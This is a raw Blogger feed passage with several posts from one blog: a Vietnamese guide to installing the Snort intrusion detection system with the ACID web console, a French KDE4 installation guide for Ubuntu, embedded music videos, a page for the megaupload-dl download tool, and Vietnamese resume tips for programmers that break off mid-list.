Cài đặt snort và cấu hình snort.&lt;br /&gt;&lt;br /&gt;Download mã nguồn:&lt;br /&gt;http://www.snort.org/dl/snort-1.8.6.tar.gz&lt;br /&gt;&lt;br /&gt;# tar zxvf snort-1.8.6.tar.gz&lt;br /&gt;# cd snort-1.8.6&lt;br /&gt;# ./configure --with-mysql=/usr&lt;br /&gt;# make&lt;br /&gt;# make install&lt;br /&gt;# mkdir /etc/snort&lt;br /&gt;# cp *.rules classification.config snort.conf /etc/snort/&lt;br /&gt;&lt;br /&gt;Tạo bảng dữ liệu để lưu trữ snort log, alert:&lt;br /&gt;&lt;br /&gt;# mysql -u root -p&lt;br /&gt;mysql&gt; create database snort;&lt;br /&gt;mysql&gt; grant INSERT,SELECT on snort.* to snort@localhost identified by '&lt;password&gt;';&lt;br /&gt;mysql&gt; exit&lt;br /&gt;# mysql snort -u root -p &lt; ./contrib/create_mysqlSửa các thông số sau trong file /etc/snort/snort.conf  var HOME_NET 192.168.1.0/24 ... output database: log, mysql, user=snort password=&lt;password&gt; dbname=snort host=localhost&lt;br /&gt;output database: alert, mysql, user=snort password=&lt;password&gt; dbname=snort host=localhostKhởi động snort:&lt;br /&gt;&lt;br /&gt;# /usr/local/bin/snort -D -d -v -i eth0 -c /etc/snort/snort.conf&lt;br /&gt;&lt;br /&gt;* Cài đặt và cấu hình acid&lt;br /&gt;&lt;br /&gt;Download mã nguồn:&lt;br /&gt;http://www.andrew.cmu.edu/~rdanyliw/snort/...0.9.6b21.tar.gz&lt;br /&gt;http://phplens.com/lens/dl/adodb190.tgz&lt;br /&gt;http://prdownloads.sourceforge.net/phplot/...ot-4.4.6.tar.gz&lt;br /&gt;&lt;br /&gt;Giải nén và đặt adodb, acid vào thư mục con của httpd DocumentRoot:&lt;br /&gt;&lt;br /&gt;# cp acid-0.9.6b21.tar.gz /var/www/html&lt;br /&gt;# tar zxvf acid-0.9.6b21.tar.gz&lt;br /&gt;# cp adodb190.tgz /var/www/html&lt;br /&gt;# tar zxvf adodb190.tgz&lt;br /&gt;# cp phplot-4.4.6.tar.gz /var/www/html&lt;br /&gt;# tar zxvf phplot-4.4.6.tar.gz&lt;br /&gt;&lt;br /&gt;Kiểm tra xem php có được cấu hình đúng với gd không:&lt;br /&gt;http://locolhost/phplot-4.4.6/examples/test_setup.php&lt;br /&gt;&lt;br /&gt;Nếu không xem được các biểu đồ ví dụ, bạn phải xem lại php có được biên dịch với thư viện gd và đã bật hỗ trợ gd trong /etc/php.ini chưa (extension=gd.so).&lt;br /&gt;&lt;br /&gt;Tạo bảng dữ liệu để lưu trữ các alert dành riêng cho acid:&lt;br /&gt;# mysql -u root -p&lt;br /&gt;mysql&gt; create database snort_archive;&lt;br /&gt;mysql&gt; grant INSERT,SELECT on snort.* to snort_archive@localhost identified by '&lt;password&gt;';&lt;br /&gt;mysql&gt; exit&lt;br /&gt;# mysql snort -u root -p &lt; dblib_path = "../adodb" dbtype = "mysql" alert_dbname = "snort" alert_host = "localhost" alert_port = "" alert_user = "snort" alert_password =" "&gt;";&lt;br /&gt;&lt;br /&gt;/* Archive DB connection parameters */&lt;br /&gt;&lt;br /&gt;$archive_dbname = "snort_archive";&lt;br /&gt;$archive_host = "localhost";&lt;br /&gt;$archive_port = "";&lt;br /&gt;$archive_user = "snort";&lt;br /&gt;$archive_password = "&lt;password&gt;";&lt;br /&gt;&lt;br /&gt;$ChartLib_path = "../phplot-4.4.6"; // tuỳ chọn, nếu php hỗ trợ gd&lt;br /&gt;&lt;br /&gt;/* File format of charts ('png', 'jpeg', 'gif') */&lt;br /&gt;$chart_file_format = "png";&lt;br /&gt;Để an toàn, nên thiết lập yêu cầu xác thực cho các truy xuất đến thư mục acid trên web server.&lt;br /&gt;&lt;br /&gt;File /var/www/html/acid/.htaccess:&lt;br /&gt;&lt;br /&gt;AuthName ACID Secure Area&lt;br /&gt;AuthType Basic&lt;br /&gt;AuthUserFile /var/www/html/acid/.htpasswd&lt;br /&gt;Allow from all&lt;br /&gt;&lt;limit get="" post=""&gt;&lt;br /&gt;require valid-user&lt;br /&gt;&lt;/limit&gt;&lt;br /&gt;&lt;br /&gt;File /var/www/html/acid/.htpasswd:&lt;br /&gt;acid:&lt;encrypted password=""&gt;&lt;br /&gt;&lt;br /&gt;Thiết lập browser của bạn cho phép tất cả cookie từ host chạy acid. Hoàn tất quá trình cài đặt và bắt đầu sử dụng acid để theo dõi các hoạt động trên mạng được snort phát hiện:&lt;br /&gt;&lt;br /&gt;http://localhost/acid/&lt;br /&gt;&lt;br /&gt;* Tham khảo tại :&lt;br /&gt;&lt;br /&gt;http://www.snort.org/&lt;br /&gt;http://www.andrew.cmu.edu/~rdanyliw/snort/snortacid.htm&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;( Theo VHS )&lt;/span&gt;&lt;/encrypted&gt;&lt;/password&gt;&lt;/password&gt;&lt;/password&gt;&lt;/password&gt;&lt;/password&gt;&lt;/password&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-109287497624728059?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/109287497624728059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=109287497624728059' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/109287497624728059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/109287497624728059'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/ci-t-nhanh-h-thng-pht-hin-xm-nhp-dng.html' title='Cài đặt nhanh hệ thống phát hiện xâm nhập dùng Snort+ACID !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3110981200912655480</id><published>2008-02-05T11:12:00.000-08:00</published><updated>2008-02-05T11:13:52.208-08:00</updated><title type='text'>Tester KDE4 !</title><content type='html'>Commençons pas éditer le fichier /etc/apt/sources.list&lt;br /&gt;&lt;br /&gt;sudo nano /etc/apt/sources.list&lt;br /&gt;&lt;br /&gt;Ajoutez la ligne suivante&lt;br /&gt;&lt;br /&gt;deb http://ppa.launchpad.net/kubuntu-members-kde4/ubuntu gutsy main&lt;br /&gt;&lt;br /&gt;puis sauvegardez le fichier.&lt;br /&gt;&lt;br /&gt;Mettons la base de données des dépôts à jours en tapant :&lt;br /&gt;&lt;br /&gt;sudo apt-get update&lt;br /&gt;&lt;br /&gt;Avant de continuer vous devrez impérativement désinstaller les paquets suivants :&lt;br /&gt;&lt;br /&gt;sudo apt-get remove kdelibs5 kde4base-data kde4libs-data&lt;br /&gt;&lt;br /&gt;Procédons maintenant à l’installation de KDE 4.0 proprement dit :&lt;br /&gt;&lt;br /&gt;sudo apt-get install kde4-core&lt;br /&gt;&lt;br /&gt;Voilà, ce ne fut pas bien compliqué n’est ce pas ?&lt;br /&gt;&lt;br /&gt;Vous pouvez désormais sélectionner votre session KDE 4 au démarrage de votre gestionnaire de session.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3110981200912655480?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3110981200912655480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3110981200912655480' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3110981200912655480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3110981200912655480'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/tester-kde4.html' title='Tester KDE4 !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-1715302252716917161</id><published>2008-02-04T15:17:00.000-08:00</published><updated>2008-02-04T15:18:19.646-08:00</updated><title type='text'>Mai cho em mua xuan - Dan Truong</title><content type='html'>&lt;div&gt;&lt;object width="420" height="302"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/x365h9"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/x365h9" type="application/x-shockwave-flash" width="420" height="302" allowFullScreen="true" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x365h9_mai-cho-em-mua-xuan-dan-truong_music"&gt;Mai Cho Em Mua Xuan - Dan Truong&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-1715302252716917161?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/1715302252716917161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=1715302252716917161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1715302252716917161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1715302252716917161'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/mai-cho-em-mua-xuan-dan-truong.html' title='Mai cho em mua xuan - Dan Truong'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-7972980671241498903</id><published>2008-02-04T14:51:00.001-08:00</published><updated>2008-02-04T14:51:44.381-08:00</updated><title type='text'>A moment to remember - Sketch</title><content type='html'>&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/cf81Cnu8_t8&amp;rel=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/cf81Cnu8_t8&amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-7972980671241498903?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/7972980671241498903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=7972980671241498903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/7972980671241498903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/7972980671241498903'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/moment-to-remember-sketch.html' title='A moment to remember - Sketch'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3669070345648548239</id><published>2008-01-28T03:23:00.000-08:00</published><updated>2008-01-28T03:24:42.849-08:00</updated><title type='text'>Megaupload Download with Ubuntu</title><content type='html'>&lt;div id="content"&gt;&lt;br /&gt;&lt;h2&gt;What is Megaupload Download?&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;megaupload-dl&lt;/strong&gt; (&lt;strong&gt;Megaupload Download&lt;/strong&gt;) is a program which helps downloading files from Megaupload using a Premium Account.  The files to download can be specified as parameters, or they can be retrieved from a local file, an URL or from the clipboard.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Installation&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;If you use Debian, Ubuntu, or another distro which uses deb packages, you can download the deb (&lt;a href="http://mundogeek.net/repo/pool/ubuntu/all/megaupload-dl_0.3.0-1_all.deb" title="Megaupload Download" onclick="javascript:urchinTracker ('/outgoing/deb_megaupload_dl_0.3.0');"&gt;megaupload-dl-0.3.0.deb&lt;/a&gt;) and simply double-click on it to launch the installer, or you can add &lt;a href="http://mundogeek.net/repo/" title="Mundo geek Repository"&gt;my repository&lt;/a&gt; to your sources.list file, so that your distro can inform you of new releases.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;If you choose the second method, open the file /etc/apt/sources.list with your favorite editor as root and add this line:&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;code&gt;deb http://mundogeek.net/repo ubuntu all&lt;/code&gt;&lt;/blockquote&gt;&lt;br /&gt;Update the list of packages writing &lt;code&gt;sudo aptitude update&lt;/code&gt; on the terminal, and install the application by writing &lt;code&gt;sudo aptitude install megaupload-dl&lt;/code&gt;.&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;If you use other distribution, download the tar.gz: &lt;a href="http://mundogeek.net/repo/pool/ubuntu/all/megaupload-dl_0.3.0-1.tar.gz" title="Megaupload Download" onclick="javascript:urchinTracker ('/outgoing/tgz_megaupload-dl_0.3.0'); "&gt;megaupload-dl-0.3.0.tar.gz&lt;/a&gt;, uncompress it, and execute the command &lt;code&gt;make install&lt;/code&gt; with root privileges.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Usage&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;This program doesn't have a GUI, it has to be executed from the command line (Applications &amp;gt; Accessories &amp;gt; Terminal).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Download one or several megaupload links:&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;code&gt;megaupload-dl http://megaupload.com/?d=FILE1 ... http://megaupload.com/?d=FILEN&lt;/code&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Download a list of links from an URL:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;code&gt;megaupload-dl http://some-web-site.com&lt;/code&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Download a list of links from a file:&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;code&gt;megaupload-dl links.txt&lt;/code&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Download a list of links from the clipboard (PyGTK has to be installed):&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;code&gt;megaupload-dl -c&lt;/code&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Changelog&lt;/h2&gt;&lt;br /&gt;v0.3.0 - January 24, 2008&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ask for the user name and password instead of using the cookie from Firefox&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Read links from the clipboard (-c option). PyGTK has to be installed&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Read links from an URL&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Bugfixes&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;v0.2.0 - January 17, 2008&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Tries to retrieve Megaupload cookie from Firefox profile&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Deletes each URL from the file when its download is finished&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Works on Windows (Python and wget have to be installed)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Now works when Direct Downloads is selected at Megaupload preferences&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Exception handling&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;v0.1.0 - October 23, 2007 (Initial release)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download a list of files from Megaupload using your Premium account&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Uninstall&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;If you ever need to uninstall the application just run the command &lt;code&gt;sudo aptitude purge megaupload-dl&lt;/code&gt; as root if you installed it using the deb package or the repository, or execute the command &lt;code&gt;make uninstall&lt;/code&gt; from the tar.gz file if you installed it using this method.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3669070345648548239?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3669070345648548239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3669070345648548239' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3669070345648548239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3669070345648548239'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/megaupload-download-with-ubuntu.html' title='Megaupload Download with Ubuntu'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-6014434137046064319</id><published>2008-01-27T13:52:00.001-08:00</published><updated>2008-01-27T13:52:32.431-08:00</updated><title type='text'>10 mẹo nhỏ để các lập trình viên có một bản lý lịch thành công</title><content type='html'>&lt;span class="bodytxt"&gt;&lt;span style="font-family:Times New Roman, Times, serif;font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#333333;"&gt;Chắc hẳn những ai đã từng kiếm việc làm đều biết bước đầu tiên của chặng đường đi tìm công việc đó là viết một bản sơ yếu lý lịch đem đến cho bạn cơ hội tham gia phỏng vấn. Không may, những bản sơ yếu lý lịch truyền thống có nhiều quy tắc chưa phù hợp trong lĩnh vực phát triển phần mềm. Sau đây là 10 mẹo nhỏ để viết bản lý lịch cho một lập trình viên sẽ giúp bạn tăng cơ hội tham gia vòng phỏng vấn.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;1: Cung cấp một danh sách các kỹ năng&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Nhà tuyển dụng muốn biết rằng liệu bạn có đáp ứng được những kỹ năng mà công ty đang cần tuyển. Phần "Kinh nghiệm" giúp nhà tuyển dụng có một ý tưởng tốt về những kinh nghiệm bạn có, nhưng nếu thêm mục "Kỹ năng" trên đầu bản lý lịch thì sẽ gây được sự chú ý đầu tiên. Chắc chắn rằng bạn đang làm cho nhà tuyển dụng dễ dàng hơn khi duyệt qua lý lịch của bạn. Nhưng xem xét theo khía cạnh khác thì bạn có thể hướng sự chú ý của họ tới các kỹ năng nào đó mà họ không chú ý tới. Ít ra thì nhà tuyển dụng sẽ đánh giá qua danh sách các kỹ năng bạn có.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;2: Tạo kinh nghiệm thú vị&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Đa số các ứng viên đều viết đã từng lập trình một trang web hay một ứng dụng trên máy tính. Thêm một loạt các ví dụ kiểu đó vào trong bản sơ yếu lý lịch sẽ không gây ấn tượng. Điều gây ấn tượng đối với nhà tuyển dụng là kinh nghiệm nổi trội nhất trong các dự án đó, hãy chứng minh rằng bạn đã làm nhiều hơn là chỉ ở mức độ “Hello World". Nếu bạn đã làm việc dưới những sự ràng buộc duy nhất hay tại những môi trường giao dịch mức cao hoặc đã từng thất bại, tất cả những điều này đều gây thiện cảm tốt tới người duyệt lý lịch của bạn. Vì thế hãy cho tôi thấy kinh nghiệm của bạn khác như thế nào, và tôi cũng sẽ nhìn nhận bạn khác những ứng cử viên khác.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;3: Tránh các lỗi ngữ pháp, lỗi chính tả và những sai sót cơ bản khác&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Qua quá trình tuyển dụng, tôi đã gặp rất nhiều bản sơ yếu lý lịch bị mắc lỗi ngữ pháp và lỗi chính tả. Một trong số những lỗi không nên có nhất là người nào đó đã đánh vần sai tên trường cao đẳng nơi anh ta tốt nghiệp. Bản sơ yếu lý lịch tuân theo những văn phạm ngữ pháp nhất định, và công việc phát triển phần mềm nói riêng thường quay tròn xung quanh những từ viết tắt hay được đánh vần kỳ quặc. Việc viết sai ngữ pháp là không thể bỏ qua được. Hãy kiểm tra chính tả và ngữ pháp cho bản lý lịch của bạn. Mẹo này luôn xuất hiện trong các bài báo đưa ra lời khuyên khi viết lý lịch mà tôi đã đọc, nhưng nó rõ ràng là nó vẫn rất cần được lặp lại.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;4: Bằng cấp trở nên không thực tế&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Trừ phi bạn đang gia nhập thị trường việc làm để tìm việc lập trình hay ứng tuyển vào những vị trí chuyên dụng, còn nếu không thì bằng cấp của bạn không phải là vấn đề quan trọng. Chắc chắn, bạn cần thêm nó vào trong bản lý lịch nhưng liệt kê ở cuối. Những nhà tuyển dụng nếu cần hay muốn biết thì có thể tìm thấy nó, và những người khác sẽ không phải tiêu phí thời gian vì nó. Thế giới lập trình thường xuyên thay đổi do đó trong 7 năm gần đây đa số các trường học (ngoại trừ các môn "nguyên lý và lý thuyết", như toán học hay khoa học máy tính) và chứng chỉ hay bằng cấp không còn là vấn đề thiết yếu trong thực tế thế giới việc làm hiện nay.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;5: Tập trung, ngắn gọn&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Khuôn mẫu các bản sơ yếu lý lịch truyền thống bao gồm rất nhiều thông tin không cần thiết, không nằm trong những mối quan tâm của nhà tuyển dụng. Phần Tóm lược và mục tiêu là hai mục như vậy. Thật sự không có cách để qui định một tóm lược miêu tả đa số lập trình chuyên nghiệp một cách chính xác. Đây là lý do mà hầu như mục này được điền những dòng ngớ ngẩn như là: "lập trình viên với 10 năm phát triển" sau những điểm nhấn ở mục kỹ năng. Mục tiêu thường xuyên (nhưng không phải luôn luôn) không được quan tâm. Lập trình viên cấp trung bình muốn vào trong một vị trí cao hơn có thể an toàn bỏ qua mục tiêu. Lập trình viên bậc chuyên nghiệp muốn trở thành kiến trúc sư phần mềm hay một DBA thì cần đưa ra một mục tiêu. Vì thế để tránh tóm lược, hãy chỉ cung cấp những mục tiêu hữu ích, và để cho nhà tuyển dụng nắm được kỹ năng của bạn càng nhanh càng tốt.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/122007/10/resume1.jpg" align="left" /&gt;6: Những vấn đề định dạng&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Định dạng của bản sơ yếu lý lịch rất quan trọng. Khi mà ngày nay những bản lý lịch được gửi qua thư điện tử, thì vẫn cần những tài liệu để đọc trên màn hình máy tính và cả những bản in trên giấy. Đây là thời gian để tăng cường khả năng đọc. Sử dụng phông chữ lớn (10 tới 12 px) và là phông chuẩn trên máy tính, phải tạo ra một bản xem tốt cả trên màn hình và khi được in ra. Nên sử dụng các phông chữ chuẩn như Verdana, Arial, Tahoma, Calibri, và Helvetica.&lt;br /&gt;&lt;br /&gt;Sử dụng đủ khoảng trắng sao cho tài liệu không có vẻ quá dầy đặc gây mất hứng người đọc. Cùng lúc đó cũng đừng tiêu phí nhiều không gian đến mức mất tới 8 trang để in 200 từ. Tất nhiên, định dạng văn bản rất quan trọng. Theo kinh nghiệm của tôi thì 99.9% nhà tuyển dụng sẽ yêu cầu lý lịch của bạn ở định dạng Microsoft Word. Nếu lý lịch của bạn có định dạng khác thì hãy chắc chắn rằng có thể cung cấp một tài liệu ở dạng .doc chuẩn.&lt;br /&gt;&lt;br /&gt;Hãy luôn ghi nhớ rằng sơ yếu lý lịch là công cụ đầu tiên để giới thiệu bản thân bạn. Nếu nhà tuyển dụng không thể đọc được những thông tin trong nó họ sẽ bỏ qua bạn và nhanh chóng đọc sang lý lịch tiếp theo.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;7: Thận trọng với độ dài&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Sau khi đã định dạng xong hồ sơ, hãy chú ý độ dài chỉ nên từ 2 đến 4 trang trừ những trường hợp vô cùng đặc biệt. Những người có nhiều khoảng thời gian làm những công việc ngắn hạn thì có thể có bản lý lịch dài hơn và những người mới đi xin việc sẽ có thể có những bản lý lịch ngắn gọn hơn.&lt;br /&gt;&lt;br /&gt;Nói chung, độ dài có liên quan đến việc làm nổi bật các kỹ năng công nghệ của bạn hơn là một vị trí trong định dạng sơ yếu lý lịch một trang thông thường. Độ dài hai trang là hợp lý đối với bất kỳ người phát triển trung bình hay cao cấp nào. Nhưng sau khoảng bốn trang, đôi mắt người đọc bắt đầu nhòa dần. Những kinh nghiệm bạn có hơn bảy hay tám năm trước thực sự không liên quan, nhưng nhà tuyển dụng lại muốn nhìn thấy những kinh nghiệm và mức độ của những dự án bạn tham gia.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;8: Hồ sơ đúng theo trình tự&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Việc lập trình không giống như đa số những lĩnh vực khác khi đề cập đến trình tự công việc. Nhiều lập trình viên là những người đấu thầu, dẫn tới một chuỗi các trình tự công việc trông như một con tàu. Thêm vào đó cuộc tấn công dot-com đã không ở phía sau chúng ta quá xa, CNTT luôn luôn là một thị trường với nhiều sự phá sản, liên doanh, và những sự thu nhận..&lt;br /&gt;&lt;br /&gt;Vấn đề là không nhà tuyển dụng nào muốn thấy một danh sách các công việc ngắn hạn. Nếu lý lịch của bạn có một chuỗi tên các công việc như vậy, với chức danh mà càng trở nên lớn hơn khiến cho bạn trở thành người không trung thành trong công việc. Mặt khác, nếu công việc dường như cơ bản giống nhau. Điều này làm cho nhà tuyển dụng có khái niệm rằng bạn có khả năng không trúng tuyển. Nếu bạn có lí do hợp pháp cho những công việc ngắn hạn, hãy chắc chắn những lý do này hợp lý.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;9: Không đặt nhà tuyển dụng trước nguy hiểm&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Không nhà tuyển dụng nào muốn bị buộc tội là thành kiến hay phân biệt đối xử. Đây không chỉ là vấn đề đạo lý, mà còn là vấn đề luật pháp. Vì thế các nhà tuyển dụng đang cố gắng tuyển dụng công bằng với danh sách các câu hỏi không thể hỏi các ứng cử viên. Bạn hãy loại bỏ những thông tin thừa trên lý lịch. Nhà tuyển dụng không cần biết tình trạng hôn nhân, dân tộc, tuổi, tôn giáo... Nếu bạn bao gồm những chi tiết không thích hợp này trên bản lý lịch thì nhà tuyển dụng sẽ cảm thấy sợ hãi và khó hiểu. Hãy để những chi tiết này ở ngoài.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#0000ff;"&gt;10: "Thực sự đam 